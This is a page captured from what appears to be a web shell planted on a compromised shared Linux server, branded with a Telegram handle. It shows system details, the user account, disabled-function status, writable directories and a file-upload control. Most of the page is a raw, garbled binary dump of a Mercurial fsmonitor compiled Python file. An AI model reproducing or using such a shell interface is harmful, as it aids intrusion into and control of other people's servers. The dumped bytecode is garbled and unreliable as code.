https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/fsmonitor/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/fsmonitor/__pycache__/state.cpython-310.pyc
o

�]Lb��@shddlmZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZdZdZ
Gdd�de�ZdS)	�)�absolute_importN)�_)�encoding�pathutil�util�s>Ic@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�statecCsh|j|_|j|_t�|j�|_d|_t	�
d�|_|j�dd�|_
|j�dd�|_t|j�dd��|_dS)N�	fsmonitorsmodeswalk_on_invalidatestimeout)�vfs�_vfs�ui�_uir�normasprefix�root�_rootdir�
_lastclockr�filestat�	_identity�config�mode�
configbool�walk_on_invalidate�float�timeout)�self�repo�r�7/usr/lib/python3/dist-packages/hgext/fsmonitor/state.py�__init__s�zstate.__init__c
Cs�z|�dd�}Wn ty(}zt�d�|_|jtjkr�WYd}~dSd}~wwtj�|�|_|�d�}t	|�dkrL|j
�ddt	|��|��dSz}t
�t|�d}|tkro|j
�dd|tf�|��W|��dS|���d	�}t	|�d
kr�|j
�ddt	|��|��W|��dS|d}t�t���}||kr�|j
�dd||f�|��W|��dS|d
}|d}	|d
d�}
W|��n|��w||	|
fS)N�fsmonitor.statesrb)NNNrr	s6fsmonitor: state file only has %d bytes, nuking state
rs6fsmonitor: version switch from %d to %d, nuking state
��sLfsmonitor: state file truncated (expected 3 chunks, found %d), nuking state
sJfsmonitor: stored hostname "%s" different from current "%s", nuking state
�����)r�IOErrorrrr�errno�ENOENT�fromfp�read�lenr
�log�
invalidate�struct�unpack�_versionformat�_version�close�splitr�
strtolocal�socket�gethostname)r�file�inst�versionbytes�diskversionr�diskhostname�hostname�clock�
ignorehash�	notefilesrrr�get(sv��
����!������
z	state.getc	Cs |dur
|��dStj�|j�d��}||jkr!|j�d�dSz|jddddd�}Wnt	t
fy@|j�td��YdSw|�C|�
t�tt��|�
t�t���d�|�
|d�|�
|d�|r~|�
d�|��|�
d�Wd�dSWd�dS1s�wYdS)Nrs1skip updating fsmonitor.state: identity mismatch
swbT)�
atomictemp�
checkambigs-warning: unable to write out fsmonitor state
r )r,rr�frompathr�joinrr
�debugr%�OSError�warnr�writer-�packr/r0rr3r4r5)rr<r=r>�identityr6rrr�setks8
�
���"�z	state.setc
Cs`zt�tj�|jdd��Wnty'}z
|jtjkr�WYd}~nd}~wwt�	d�|_
dS)Ns.hgr)�os�unlink�pathrCrrEr&r'rrr)rr7rrrr,�s���zstate.invalidatecCs
||_dS�N�r)rr<rrr�setlastclock�s
zstate.setlastclockcCs|jSrNrO)rrrr�getlastclock�szstate.getlastclockN)	�__name__�
__module__�__qualname__rr?rJr,rPrQrrrrrs
Cr)�
__future__rr&rKr4r-�mercurial.i18nr�	mercurialrrrr0r/�objectrrrrr�<module>s

https://t.me/RX1948 - 2025